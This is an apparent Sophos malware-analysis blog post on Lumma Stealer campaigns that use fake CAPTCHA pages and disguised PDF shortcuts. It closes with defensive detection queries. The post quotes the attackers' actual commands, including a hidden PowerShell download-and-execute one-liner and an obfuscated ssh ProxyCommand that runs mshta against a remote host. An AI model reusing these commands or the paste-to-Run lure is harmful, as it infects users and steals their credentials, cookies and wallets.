loading . . . In September 2024, a threat hunt across Sophos Managed Detection and Responseâs telemetry uncovered a Lumma Stealer campaign using fake CAPTCHA sites that instructed victims to paste a (malicious) PowerShell-encoded command into Windowsâ command-line interface. Subsequent investigations allowed us to dig deeply into the mechanics of the notorious information stealer. This post recounts those discoveries, as seen in various MDR investigations during the fall and winter of 2024-25.
### **Lumma Stealer basics**
Lumma Stealer has been active since mid-2022 and is believed to have originated with a Russian-language developer. Offered as Malware-as-a-Service (MaaS), its maintainer sells access to the stealer via Telegram and offers updates and user support. Further information is made available on a dedicated Gitbook site.
The infostealer targets a variety of valuables including passwords, session tokens, cryptocurrency wallets, and personal information from compromised devices. The threat is amplified by its cunning delivery methods. In one instance, the attacker manipulated usersâ trust in CAPTCHA challenges and employed social engineering tactics to deceive victims seeking software downloads. In another, more straightforward case, the user was directed to a malicious site and prompted to open a file in Windows Explorer.
The variations we saw in Lumma Stealer behavior are significant to defenders, because Lumma Stealer infection has been extremely common in recent months. That said, the delivery techniques we saw could easily be adapted to other malware beyond Lumma Stealer, making their documentation useful. (A list of IoCs will be made available on our GitHub repository.)
Our researchers are aware of similar work underway from Netskope Threat Labs, including an estimate that as many as 5,000 fake-CAPTCHA sites may be currently involved in a Lumma Stealer-related campaign. Likewise, researchers at Qualys have done solid research to detail the mechanisms Lumma Stealer has used in recent months. Sophos strongly recommends scrutiny of the IoCs these researchers have offered to the public, in addition to our own.
## **Investigation #1: The art(istsponsorship) of the steal**
In this investigation, the observed attack flow with CAPTCHA involvement was relatively straightforward: The attacker creates a malicious site, âprotectedâ by a normal-looking CAPTCHA verification at hxxps[://]camplytic[.]com/go/cdff9f96-8cbd-4c44-b679-2f612a64cd00. The visiting user clicks on the familiar I-am-not-a-robot box, as shown in Figure 1.
_Figure 1: A familiar-seeming verification box_
The user was next redirected to another alleged verification page, hxxps[://]sos-at-vie-1[.]exo[.]io/store-as/cloudflare-new-artist[.]html, on which they were asked to first load the Windows ârunâ command, then press Cntl-V followed by Enter, as shown in Figure 2.
_Figure 2: The next âsecurity checkâ request is somewhat unusual, but fairly straightforward for unwary users_
Behind the scenes, once the user pastes the PowerShell command into the Run dialog box, it triggers a concealed JavaScript function that drops a PowerShell script onto the Clipboard and runs it in a hidden window:
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command $uR= hxxps[://]fixedzip[.]oss-ap-southeast5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t
That script retrieves the infostealer malware from a command-and-control (C2) server, and itâs off to the payload-retrieval races, as shown in Figure 3.
_Figure 3: Attack flow with CAPTCHA abuse; note that Lumma Stealer itself is loaded midway through the process_
When run, the PowerShell script retrieves the Lumma Stealer malware from an external server, initiating the download of the first stage of the malicious payload onto the compromised system. The command
$uR=hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex$t
retrieves the content from the new-artist.txt file hosted on the external server. This content is then processed and executed through the Invoke-Expression cmdlet.
This new-artist.txt file in the code above contains another PowerShell script, which connects to hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/artist[.]zip . This zipped copy of Lumma Stealer is downloaded to the target machine, extracted into the userâs %AppData% path, and saved as âArtistSponsorship.exeâ (sha256:e298cd6c5fe7b9b05a28480fd215ddcbd7aaa48a) for further execution, as shown in Figure 4.
_Figure 4: The poisonous download_
The ArtistSponsorship.exe file contains, among multiple dropped files as seen in Figure 5, the obfuscated AutoIt.exe script (sha256:05d8cf394190f3a707abfb25fb44d7da9d5f533d7d2063b23c00cc11253c8be7). These are dropped in the %temp% directory.
_Figure 5: Multiple files dropped into %temp% by ArtistSponsorship.exe_
The AutoIT script does a number of things and includes shellcode. Among its activities, it connects to the C2 domain snail-r1ced[.]cyou â IP 104.21.84[.]251 (CLOUDFLARENET). Lumma Stealer then targets user data, login credentials from various browsers, bitcoin wallets, and cookies. In Figure 6, AutoIt3.exe is accessing login data and cookies used by the Chrome browser.
_Figure 6: Catching AutoIT3.exe red-handed with Chrome login credentials (among other things)_
AutoIt3.exe then executes the script X.a3x to exfiltrate the captured Chrome login data and cookies to the C2 IP104.21.84[.]251(CLOUDFLARENET). In the case we observed, a file of just 6.37MB â the login data and cookies â was successfully exfiltrated, after which the AutoIt3.exe process terminated.
## **Investigation #2: A deep dive into the code**
In this section, weâll dig far more deeply into the specifics of files and processes we encountered within the payload delivery chain. In the case weâll examine, the user inadvertently visited an infected site.
First, the user was prompted to open a PDF-format file in Windows Explorer, as shown in Figure 7.
_Figure 7: The user is attempting to load a PDF, but thatâs not whatâs about to happen_
The file, apparently a PDF called âInstruction_695-18014-012_Rev.PDF,â is actually a remotely hosted .lnk (shortcut) file, as shown in Figure 8.
_Figure 8: Windows warns that this is actually a shortcut, not a PDF_
The shortcut file attempts to execute an obfuscated PowerShell script, as shown in Figure 9.
_Figure 9: The obfuscated script in the Target field_
The full text of the obfuscated script is
C:\Windows\System32\OpenSSH\sftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]'Â -replace ']')
When a user executes the shortcut file, sftp.exe will execute the obfuscated command through the ProxyCommand flag. However, sftp.exe doesnât actually establish the network connection itself; it delegates the task to ssh.exe with a special set of parameters:
"C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]'Â -replace ']')" "-oProtocol 2" -s -- . sftp .
As we see in the block of code above, the parameters exploit the âProxyCommandâ option. ProxyCommand specifies a command to run instead of connecting directly to the target host. In the above example, ProxyCommand is set to run PowerShell, which in turn executes mshta.exe to download and execute a remote script.
The first PowerShell script execution is as shown in Figure 10.
_Figure 10: The first execution is revealed_
This script processes AES-encrypted data within the aepcc function, as shown in Figure 11.
_Figure 11: Lumma Stealerâs creators did not choose a weak encryption algorithm_
In Figure 12, the AES key is listed first. Itâs followed by an initialization vector (IV) of 16 bytes of zeroes; the IV is there to add randomness to the start of the encryption process. Despite that, we decrypted the data using CyberChef, as shown.
_Figure 12: CyberChef begins to reveal whatâs going on_
Next, we decoded the script from base64 â closer to readable, but now a large mass of decimals, as shown in Figure 13.
_Figure 13: The script comes into better focus_
The decimals in that mass of numbers are in fact ASCII characters. A further pass by CyberChef, as shown in Figure 14, reveals that this is a PE file, one designed to download further payloads.
_Figure 14: A PE file with a single malicious purpose_
This script performs the following actions:
1. Sets variable âOâ equal to the C2 URL.
2. Dynamically retrieve the âLoadâ method from the .NET âSystem.Reflection.Assemblyâ class.
The âLoadâ method is then invoked on the value of variable âoQ7â (the obfuscated PE); this essentially loads the PE into memory.
3. As displayed above, the PE contains a single static method named âaHdiNKuWlRâ. This method downloads the content of the URL passed to it utilizing WebClient.
The script passes the value of the âOâ variable (containing the C2 URL) to the PE loaded in memory.
4. The âaHdiNKuWlRâ method defined in the PE processes the URL passed to it by downloading its content using DownloadString.
5. The â\appdata\roamingâ path is saved to the variable âIkmgâ.
6. Function âbOjeâ is executed and performs the following actions:
1. The function first appends âi1040gi.pdfâ to the âIkmgâ (file path) variable.
2. Makes a call to function ârlYDrâ and passes a unique identifier which is retrieved from the AES decrypted data at position 103 with length 86, as shown in Figure 15.
_Figure 15: A hexadecimal view of the unique identifier_
7. Checks if the â\appdata\roaming\i1040gi.pdfâ path does not exist.
8. If the file path does not exist, executes function âXSFboâ. This function takes two parameters:
1. âBtPdnâ: This function takes the unique identifier as an input. It extracts a specific 100 characters from the AES-decrypted data and uses it as a lookup table to convert the unique identifier into a URL. The resulting URL is a legitimate PDF document from the IRS.
2. The second parameter is the file path in variable âEVcDâ as shown in Figure 16.
_Figure 16: The file path appears_
After decoding the URL, function âXSFboâ takes the URL and downloads the contents using âNet.WebClientâ (which was also decoded using âBtnPdnâ), then saves the PDF to the file path specified in variable âEVcDâ as shown in Figure 17.
_Figure 17: The file path appears again, as the save destination_
Finally, the PDF that was downloaded is executed, as shown in Figures 18 and 19.
_Figure 18: There it isâŠ_
_Figure 19: âŠand there it goes_
### **But wait! Thereâs more!**
To conclude this analysis, letâs trace back to the stages before the benign PDF is downloaded and executed.
We first noticed that there was a dynamic retrieval of the âLoadâ method, which was used to load the embedded PE that we decoded. Then we observed a static method defined inside the PE that was being leveraged to download the next stage. Lastly, we see the downloaded script executed with âInvokeScriptâ. Letâs focus on this next stage.
The next stage that was downloaded is heavily obfuscated with useless comments and very long variable names, as shown in Figure 20.
_Figure 20: Mooncake, pasties, fritter, ragu, kebabs, taco⊠clearly someone was obfuscating on an empty stomach_
Once de-obfuscated, we discovered that this script is responsible for downloading a final stage. The script features dynamic resolution of low-level Windows APIs such as âGetProcAddressâ, VirtualProtectâ, and âAmsiInitializeâ.
## **Detections**
The following queries may prove useful for defenders seeking evidence of Lumma Stealer in their systems.
Identify all threat files scripts/binaries from identified SPIDs utilized to build Lumma Stealer within the last eight hours or within a time range:
SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.time,'unixepoch')) dateTime,sfj.time AS epoch_time, spj.cmd_line, CASE sfj.event_type
      WHEN 0 THEN 'Created'
      WHEN 2 THEN 'Deleted'
  END eventType, sfj.sophos_pid, sfj.path AS file_path, sfj.target_path, sfj.file_size, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.creation_time,'unixepoch')) birth_time_utc, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.last_write_time,'unixepoch')) modified_time_utc, spj.sid, u.username, sfj.sha256
FROM sophos_file_journal sfj
LEFT JOIN sophos_process_journal spj ON sfj.sophos_pid = spj.sophos_pid
LEFT JOIN users u ON spj.sid = u.uuid
WHERE
sfj.sophos_pid IN ('<SPID1>', '<SPID2>', '<SPID3>', '<SPID4>')
AND
sfj.event_type IN (0, 2)
AND
sfj.time > strftime('%s', 'now', '-8 hour')
--sfj.time > strftime('%s','2024-11-13 04:44:32') AND sfj.time < strftime('%s','2024-11-13 04:47:35')
Identify possible exfiltration and C2:
SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(time,'unixepoch')) dateTime, *
FROM sophos_process_activity
WHERE sophos_pid IN ('<SPID1>', '<SPID2>', '<SPID3>', '<SPID4>')
AND subject IN ('Dns','FileOtherReads', 'Ip', 'RuntimeIOCs', 'Process', 'Network')
AND time > strftime('%s', 'now', '-8 hour')
--AND time > strftime('%s','2024-11-13 04:44:32') AND time < strftime('%s','2024-11-13 04:47:35')
Identify the source URL of the fake CAPTCHA / verification prompt from the browsing history:
SELECT f.path,f.directory,f.filename,f.size,strftime('%Y-%m-%d %H:%M:%S',datetime(f.mtime,'unixepoch')) AS modified_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.atime,'unixepoch')) AS last_access_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.ctime,'unixepoch')) AS change_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.btime,'unixepoch')) AS birth_time_utc,attributes, h.sha256 AS SHA256, h.sha1 AS SHA1, h.md5 AS MD5
FROM file f LEFT JOIN hash h on f.path = h.path
WHERE f.path LIKE 'C:\Users\%\AppData\Local\Google\Chrome\User Data\%\History' -- Windows history for Chrome
OR f.path LIKE 'C:\Users\%\AppData\Local\Microsoft\Edge\User Data\%\History' -- history for Edge
OR f.path LIKE 'C:\Users\%\AppData\Roaming\Mozilla\Firefox\Profiles\%\places.sqlite' --Windows history for Firefox;
OR f.path LIKE 'C:\Users\%\AppData\Roaming\Mozilla\Firefox\Profiles\%\downloads.sqlite' --Windows history for Firefox;
order by f.mtime DESC
## **Conclusion**
Lumma Stealer remains a significant threat as of this writing. The documented tactic of using fake CAPTCHA sites to lull victims into entering a malicious command on their own systems is an ugly twist on the situation; Sophosâ endpoint protection counters the threat with a range of malware detections and behavioral-analysis tactics, but educating users to mistrust CAPTCHAs, after so many years of convincing them to answer them, is a heavy lift. As those education efforts expand, defenders are advised to institute appropriate endpoint-detection technology and to be aware that the tactics of this all-too-common infostealer continue to evolve.
### **Acknowledgements**
Andrew Jaeger, Nayana V R, David Whitehall, and Waldemar Stiefvater contributed review and constructive critique to this work.
### **Indicators of compromise**
The IoCs compiled in this investigation are available on our GitHub repository.
### Share this:
* Mastodon
* Bluesky
* Reddit
* LinkedIn
* More
*
* Tumblr
* Pocket
* Print
* Email
*
https://news.sophos.com/en-us/2025/05/09/lumma-stealer-coming-and-going/
